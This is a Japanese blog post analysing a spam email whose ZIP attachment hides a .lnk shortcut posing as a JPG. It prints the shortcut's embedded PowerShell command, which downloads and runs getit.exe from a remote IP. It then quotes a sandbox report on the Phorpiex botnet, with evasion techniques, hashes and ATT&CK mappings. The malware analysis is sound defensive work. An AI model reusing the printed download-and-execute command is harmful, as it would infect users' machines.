ブログ - Is this you??? というトロイの木馬が添付ファイルについた迷惑メール
本文に lol wtf.. とあったのだけど，何かあると思って意味を調べてみた．そして添付ファイルを分析したら，Phorpiex（フォーピエックス）だと判明．久しぶりに？高度な分析結果が確認できました．
今回はサンドボックスでの検証結果もリンクしました．
引用： 添付ファイルがついているけど，JPGのようであってZIPファイル．
ZIPファイルには何があるのか調べてみた． .lnkファイルか．Windnowsじゃないと感染しないな．.lnkファイルの中身を確認する．
178.16.54.109からgetit.exeをダウンロードしている．
IPアドレスを調べてみた．
AbuseIPDBの画面も構造が変わったのかな？なんかかっこいい．
次にVTで調べてみた．
トロイだと出ていますね．
ダウンロードされるgetit.exeについて，JOE Sandbox Cloudで分析結果が出ていました．
Windows Analysis Report PIC0402023.jpg.lnk
https://www.joesandbox.com/analysis/1960169/0/html
プロセスツリー．
引用：
Phorpiex Botマルウェアファミリーなる模様．一体何？
引用： 迷惑メール発信者作成ツールって感じかな．
今回はサンドボックスでの検証結果もリンクしました．
引用：
「lol wtf」は、英語のネットスラングである「LOL」と「WTF」を組み合わせた表現で、信じられないことや理不尽な状況に直面して「呆れながらも笑ってしまう（草、なんだこれ）」という感情を表します
それぞれの意味は以下の通りです。
・LOL（Laugh Out Loud）：
大笑いする、日本語の「w」や「笑」にあたる表現
・WTF（What the f**k）：
「なんだこれ」「ふざけんな」「まじかよ」といった驚きや怒りを表す言葉
ZIPファイルには何があるのか調べてみた．
% unzip -l PIC0402023.jpg.zip🆑
Archive: PIC0402023.jpg.zip
Length Date Time Name
--------- ---------- ----- ----
0 08-18-2026 07:24 PIC0402023/
2003 08-18-2026 07:23 PIC0402023/PIC0402023.jpg.lnk🈁
--------- -------
2003 2 files
%
% cat PIC0402023/PIC0402023.jpg.lnk🆑
L�F� r��tg��-��/�a��tg���E5P�O� �:i�+00�/C:\V1
]�Windows@ ﾇOwH]m.Y�qzWindowsZ1�\p8System32B
ﾇOwH]m.U��kSystem32V2��X�� cmd.exe@ ﾶX��]�m.jg�4�cmd.exe
J-Im4/FC:\Windows\System32\cmd.exe�/c powershell.exe ExecutionPolicy
Bypass (New-Object System.Net.WebClient).DownloadFile('http[:]//178.16.54.109/
getit.exe','%userprofile%\windrv.exe');Start-Process '%userprofile%\windrv.exe'
shell32.dll�%windir%\System32\cmd.exe%windir%
\System32\cmd.exe�%�
�wN��]N�D.��Q���`�Xdesktop-4mksc1r~N8��jEJ�s@d����u^Y��'�
~N8��jEJ�s@d����u^Y��'�
� ��1SPS�XF�L8C���&�m�m-
S-1-5-21-711635060-3631344071-1154681243-50091SPS�mD��pH�H@.�=x�hHN�!"0%
%
IPアドレスを調べてみた．
AbuseIPDBの画面も構造が変わったのかな？なんかかっこいい．
次にVTで調べてみた．
トロイだと出ていますね．
ダウンロードされるgetit.exeについて，JOE Sandbox Cloudで分析結果が出ていました．
Windows Analysis Report PIC0402023.jpg.lnk
https://www.joesandbox.com/analysis/1960169/0/html
プロセスツリー．
引用：
マルウェア解析概要
概要
サンプルはミミズ(WORM/W32)です。MalwareX)は、Windowsのショートカットファイル(LNK)から開始される多段階の感染連鎖を用いています。マルウェアはリモートペイロードをダウンロードして実行し、そのペイロードは永続性と伝播のために追加のコピーを生成します。
実行フロー
初回アクセス:感染は、Windowsのショートカットファイル()が画像に見せかけ、二重拡張子を使って現れることから始まります。LNKファイルには、PowerShellペイロードでcmd.exeを起動する埋め込みコマンドが含まれています。PIC0402023.jpg.lnk
ペイロードのダウンロードと実行:
プロセス7256(cmd.exe)は以下のPowerShellコマンドを実行します:
・PowerShell実行ポリシーをバイパスします
・リモート実行ファイルをダウンロードし、http[:]//178.16.54.109/getit.exeC:\Users\user\windrv.exe
・ダウンロードしたファイルを即座に実行します
ダウンロードはETPRO MALWARE Win32/Phorpiex Bot実行ファイルペイロードの受信トラフィックとして検出されました。
二次ペイロード実行:
プロセス7800(windrv.exe)はプロセス1236(winsvc.exe)を実行し、生成します。これはマルウェアが自身の追加インスタンスを起動できる能力を示しています。
並列実行:
プロセス5856と7276(いずれも親winsvc.exeインスタンス)は親プロセス4084から生成されており、初期の感染ベクターか永続性メカニズムが同時実行されていることを示唆しています。
行動分析
回避技術:
・制限を避けるためのPowerShell実行ポリシーバイパス
・ファイル形式を隠すために二重ファイル拡張子()を使いますjpg.lnk
・Zone.Identifier ストリーム削除によるインターネット発信元の隠し
・条件付きスリープ/終了ロジックによるミューテックス作成は、サンドボックス検出またはアンチアナリシス挙動を示します
ペイロードステージング:
・リモートサーバー(178.16.54.109)からの実行ファイルをダウンロード
・PEファイルをユーザーディレクトリにドロップします(C:\Users\user\)
・ステージング直後にダウンロード済みペイロードを実行します
持続性/伝播:
・複数のwinsvc.exeとwindrv.exeのインスタンスが作成されます
・自己複製を通じてワームのような行動を示します
BitLockerモジュールへのアクセス:PowerShellはBitLockerモジュールを読み込み、ディスク暗号化の操作や偵察能力の可能性を示唆しました。
ネットワーク活動
・HTTPリクエスト(ポート80)http://178.16.54.109/getit.exe
・IDSシグネチャに基づき、Phorpiex Botマルウェアファミリーに分類されています
妥協の兆候
・ファイル:winsvc.exe(MD5: 228475A43AE74067330EFD4E72CFD560)、windrv.exe(MD5: 228475A43AE74067330EFD4E72CFD560)、PIC0402023.jpg.lnk
・C2 インフラストラクチャー:178.16.54.109
・検出:マルチAV検出率(63-67%)、Joe Sandbox ML信頼度97.7%
MITRE AT&CK技術
・T1566.001 フィッシング:スピアフィッシングの添付ファイル(LNKファイル)
・T1059.001 コマンドおよびスクリプトインタプリタ:PowerShell
・T1105Ingressツール転送(リモート実行ファイルダウンロード)
・T1036.005 仮面:正当な名前または所在地と一致(二重延長)
・T1140難読化/復号(実行ポリシーバイパス)
・T1027ファイルや情報の難読化(zone.identifierの削除)
・T1497.001 仮想化/サンドボックス回避(ミューテックスベースの検出)
・T1578クラウド計算インフラの変更(BitLockerモジュールへのアクセスは暗号化操作の可能性を示唆)
Phorpiex Botマルウェアファミリーなる模様．一体何？
引用：
Phorpiex（フォーピエックス）とは、2010年代初頭から長期にわたり活動を続けている、悪名高いボットネット型のマルウェア（別名：Trik）です。感染したコンピュータを攻撃者の遠隔操作に従う「ボット」にし、大規模なサイバー犯罪に利用します。
